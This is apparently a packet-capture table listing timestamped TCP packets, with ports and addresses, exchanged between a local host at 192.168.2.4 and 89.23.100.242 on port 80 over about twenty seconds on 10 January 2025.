Jan 10, 2025 07:58:44.741051912 CET	80	50089	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:44.741077900 CET	80	50089	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:45.209795952 CET	80	50088	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:45.209836006 CET	80	50089	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:45.209866047 CET	80	50088	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:45.209893942 CET	80	50088	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:45.209959030 CET	50088	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:45.251590967 CET	50089	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:45.294086933 CET	80	50089	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:45.345257044 CET	50089	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:45.437062979 CET	50088	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:45.437203884 CET	50089	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:45.437309027 CET	50090	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:45.442347050 CET	80	50090	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:45.442378998 CET	80	50088	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:45.442471027 CET	50088	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:45.442492008 CET	80	50089	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:45.442534924 CET	50089	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:45.442540884 CET	50090	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:45.442540884 CET	50090	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:45.447408915 CET	80	50090	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:45.798490047 CET	50090	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:45.804363966 CET	80	50090	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:45.804403067 CET	80	50090	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:45.804431915 CET	80	50090	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:46.219194889 CET	80	50090	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:46.267182112 CET	50090	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:46.389796019 CET	80	50090	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:46.439024925 CET	50090	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:46.518714905 CET	50091	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:46.523942947 CET	80	50091	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:46.524012089 CET	50091	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:46.524138927 CET	50091	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:46.528990030 CET	80	50091	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:46.876611948 CET	50091	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:46.881975889 CET	80	50091	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:46.882025957 CET	80	50091	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:46.882054090 CET	80	50091	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:47.362629890 CET	80	50091	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:47.407754898 CET	50091	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:47.500628948 CET	80	50091	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:47.548567057 CET	50091	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:47.622792006 CET	50091	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:47.623157978 CET	50090	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:47.623210907 CET	50092	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:47.628156900 CET	80	50092	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:47.628200054 CET	80	50091	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:47.628236055 CET	50092	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:47.628248930 CET	50091	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:47.628360987 CET	50092	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:47.633241892 CET	80	50092	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:47.986047029 CET	50092	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:47.991272926 CET	80	50092	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:47.991341114 CET	80	50092	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:47.991379023 CET	80	50092	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:48.364654064 CET	80	50092	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:48.407766104 CET	50092	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:48.516638994 CET	80	50092	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:48.564016104 CET	50092	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:48.638070107 CET	50092	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:48.638243914 CET	50093	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:48.643220901 CET	80	50093	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:48.643336058 CET	80	50092	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:48.643358946 CET	50093	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:48.643476963 CET	50093	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:48.643496037 CET	50092	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:48.648334980 CET	80	50093	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:49.001590014 CET	50093	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:49.007229090 CET	80	50093	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:49.007246971 CET	80	50093	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:49.007261992 CET	80	50093	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:49.397394896 CET	80	50093	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:49.439097881 CET	50093	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:49.532780886 CET	80	50093	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:49.579763889 CET	50093	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:49.655388117 CET	50093	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:49.655499935 CET	50094	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:49.660417080 CET	80	50094	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:49.660495043 CET	50094	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:49.660527945 CET	80	50093	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:49.660569906 CET	50093	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:49.660655975 CET	50094	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:49.665400028 CET	80	50094	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.017247915 CET	50094	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:50.022279024 CET	80	50094	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.022298098 CET	80	50094	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.022310019 CET	80	50094	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.221012115 CET	50095	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:50.221309900 CET	50094	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:50.226372957 CET	80	50095	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.226458073 CET	50095	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:50.226541996 CET	50095	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:50.226577044 CET	80	50094	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.226641893 CET	50094	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:50.231399059 CET	80	50095	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.341836929 CET	50096	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:50.346837997 CET	80	50096	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.346906900 CET	50096	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:50.347024918 CET	50096	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:50.351917028 CET	80	50096	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.579921007 CET	50095	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:50.585321903 CET	80	50095	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.585361958 CET	80	50095	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.704745054 CET	50096	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:50.709893942 CET	80	50096	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.709975004 CET	80	50096	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.709989071 CET	80	50096	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:50.990257025 CET	80	50095	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:51.032881975 CET	50095	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:51.084093094 CET	80	50096	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:51.126512051 CET	50096	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:51.142091990 CET	80	50095	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:51.189024925 CET	50095	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:51.212939978 CET	80	50096	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:51.267133951 CET	50096	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:51.329315901 CET	50095	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:51.329369068 CET	50096	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:51.330323935 CET	50097	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:51.336044073 CET	80	50095	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:51.336124897 CET	50095	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:51.336308002 CET	80	50096	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:51.336350918 CET	50096	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:51.336811066 CET	80	50097	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:51.336874008 CET	50097	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:51.336992979 CET	50097	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:51.343544006 CET	80	50097	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:51.689127922 CET	50097	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:51.694142103 CET	80	50097	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:51.694159031 CET	80	50097	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:51.694174051 CET	80	50097	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:52.103879929 CET	80	50097	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:52.157773018 CET	50097	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:52.291888952 CET	80	50097	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:52.345261097 CET	50097	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:52.420583010 CET	50097	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:52.421906948 CET	50098	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:52.425795078 CET	80	50097	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:52.425862074 CET	50097	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:52.426755905 CET	80	50098	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:52.426811934 CET	50098	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:52.427025080 CET	50098	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:52.431756020 CET	80	50098	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:52.782845974 CET	50098	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:52.788069010 CET	80	50098	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:52.788110018 CET	80	50098	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:52.788136959 CET	80	50098	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:53.275991917 CET	80	50098	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:53.329639912 CET	50098	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:53.427634954 CET	80	50098	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:53.470264912 CET	50098	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:53.544688940 CET	50099	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:53.549768925 CET	80	50099	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:53.549889088 CET	50099	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:53.549983978 CET	50099	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:53.554897070 CET	80	50099	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:53.907850027 CET	50099	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:53.912977934 CET	80	50099	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:53.913007975 CET	80	50099	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:53.913041115 CET	80	50099	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:54.290642977 CET	80	50099	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:54.345268965 CET	50099	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:54.429718971 CET	80	50099	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:54.432223082 CET	50098	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:54.470276117 CET	50099	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:54.543329954 CET	50099	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:54.543394089 CET	50100	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:54.548341990 CET	80	50100	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:54.548453093 CET	80	50099	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:54.548456907 CET	50100	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:54.548501015 CET	50099	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:54.548875093 CET	50100	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:54.553721905 CET	80	50100	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:54.907955885 CET	50100	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:54.913060904 CET	80	50100	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:54.913094044 CET	80	50100	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:54.913125038 CET	80	50100	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:55.302866936 CET	80	50100	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:55.360904932 CET	50100	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:55.441432953 CET	80	50100	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:55.485954046 CET	50100	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:55.558249950 CET	50100	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:55.558494091 CET	50101	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:55.563420057 CET	80	50100	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:55.563462019 CET	80	50101	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:55.563517094 CET	50100	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:55.563548088 CET	50101	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:55.563723087 CET	50101	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:55.568612099 CET	80	50101	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:55.907960892 CET	50101	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:55.913141012 CET	80	50101	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:55.913177967 CET	80	50101	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:55.913229942 CET	80	50101	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:56.158677101 CET	50102	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:56.158852100 CET	50101	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:56.163821936 CET	80	50102	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:56.163933039 CET	50102	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:56.164052963 CET	50102	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:56.164061069 CET	80	50101	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:56.164124012 CET	50101	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:56.168956041 CET	80	50102	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:56.279071093 CET	50103	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:56.284168959 CET	80	50103	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:56.284251928 CET	50103	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:56.284343958 CET	50103	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:56.289324999 CET	80	50103	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:56.517317057 CET	50102	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:56.522442102 CET	80	50102	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:56.522459984 CET	80	50102	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:56.642354965 CET	50103	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:56.647399902 CET	80	50103	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:56.647413015 CET	80	50103	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:56.647427082 CET	80	50103	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:57.028199911 CET	80	50103	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:57.079829931 CET	50103	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:57.157007933 CET	80	50103	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:57.204654932 CET	50103	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:57.281116962 CET	50103	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:57.281415939 CET	50104	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:57.281692028 CET	49900	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:57.281749010 CET	49938	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:57.286271095 CET	80	50104	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:57.286320925 CET	80	50103	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:57.286382914 CET	50104	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:57.286402941 CET	50103	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:57.286503077 CET	50104	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:57.291290998 CET	80	50104	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:57.642225981 CET	50104	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:57.647258997 CET	80	50104	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:57.647278070 CET	80	50104	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:57.647293091 CET	80	50104	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:58.039999008 CET	80	50104	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:58.079652071 CET	50104	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:58.163172960 CET	50104	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:58.163434982 CET	50105	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:58.168380022 CET	80	50104	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:58.168406010 CET	80	50105	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:58.168445110 CET	50104	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:58.168484926 CET	50105	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:58.168611050 CET	50105	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:58.173316956 CET	80	50105	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:58.517280102 CET	50105	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:58.522403955 CET	80	50105	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:58.522478104 CET	80	50105	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:58.522510052 CET	80	50105	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:58.905781031 CET	80	50105	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:58.954727888 CET	50105	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:59.040857077 CET	80	50105	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:59.095330954 CET	50105	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:59.170887947 CET	50105	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:59.171232939 CET	50106	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:59.176160097 CET	80	50105	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:59.176208973 CET	80	50106	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:59.176282883 CET	50106	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:59.176376104 CET	50106	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:59.176410913 CET	50105	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:59.181308985 CET	80	50106	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:59.533035994 CET	50106	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:58:59.538130999 CET	80	50106	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:59.538208008 CET	80	50106	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:59.538259029 CET	80	50106	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:59.940201998 CET	80	50102	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:59.979629040 CET	80	50106	89.23.100.242	192.168.2.4
Jan 10, 2025 07:58:59.985922098 CET	50102	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:00.032886028 CET	50106	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:00.072932005 CET	80	50102	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:00.126540899 CET	50102	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:00.130094051 CET	80	50106	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:00.173438072 CET	50106	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:00.279355049 CET	50102	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:00.279508114 CET	50106	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:00.279814005 CET	50107	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:00.284616947 CET	80	50102	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:00.284790993 CET	80	50107	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:00.284859896 CET	50102	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:00.284879923 CET	50107	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:00.284905910 CET	80	50106	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:00.284984112 CET	50107	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:00.285015106 CET	50106	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:00.289792061 CET	80	50107	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:00.645905972 CET	50107	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:00.651010990 CET	80	50107	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:00.651031971 CET	80	50107	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:00.651043892 CET	80	50107	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:01.049196959 CET	80	50107	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:01.095273972 CET	50107	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:01.204114914 CET	80	50107	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:01.251072884 CET	50107	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:01.337203979 CET	50107	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:01.337563992 CET	50108	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:01.342495918 CET	80	50108	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:01.342533112 CET	80	50107	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:01.342564106 CET	50108	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:01.342581034 CET	50107	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:01.342729092 CET	50108	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:01.347520113 CET	80	50108	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:01.689182043 CET	50108	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:01.694370985 CET	80	50108	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:01.694406986 CET	80	50108	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:01.694439888 CET	80	50108	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:02.188221931 CET	80	50108	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:02.314146996 CET	50108	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:02.320224047 CET	80	50108	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:02.493223906 CET	50108	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:02.493262053 CET	50109	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:02.498214006 CET	80	50109	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:02.498231888 CET	80	50108	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:02.498286009 CET	50109	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:02.498305082 CET	50108	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:02.498435020 CET	50109	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:02.503253937 CET	80	50109	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:02.845398903 CET	50109	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:02.850521088 CET	80	50109	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:02.850583076 CET	80	50109	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:02.850611925 CET	80	50109	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:03.245507002 CET	80	50109	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:03.392273903 CET	50109	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:03.398781061 CET	80	50109	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:03.511269093 CET	50110	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:03.511287928 CET	50109	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:03.516601086 CET	80	50110	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:03.516647100 CET	80	50109	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:03.516675949 CET	50110	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:03.516702890 CET	50109	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:03.516794920 CET	50110	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:03.521608114 CET	80	50110	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:03.861011028 CET	50110	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:03.866204023 CET	80	50110	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:03.866241932 CET	80	50110	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:03.866274118 CET	80	50110	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:04.257208109 CET	80	50110	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:04.385835886 CET	80	50110	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:04.386085987 CET	50110	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:04.520895958 CET	50110	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:04.521223068 CET	50111	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:04.526262999 CET	80	50111	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:04.526304007 CET	80	50110	89.23.100.242	192.168.2.4
Jan 10, 2025 07:59:04.526330948 CET	50111	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:04.526357889 CET	50110	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:04.526473999 CET	50111	80	192.168.2.4	89.23.100.242
Jan 10, 2025 07:59:04.531358004 CET	80	50111	89.23.100.242	192.168.2.4
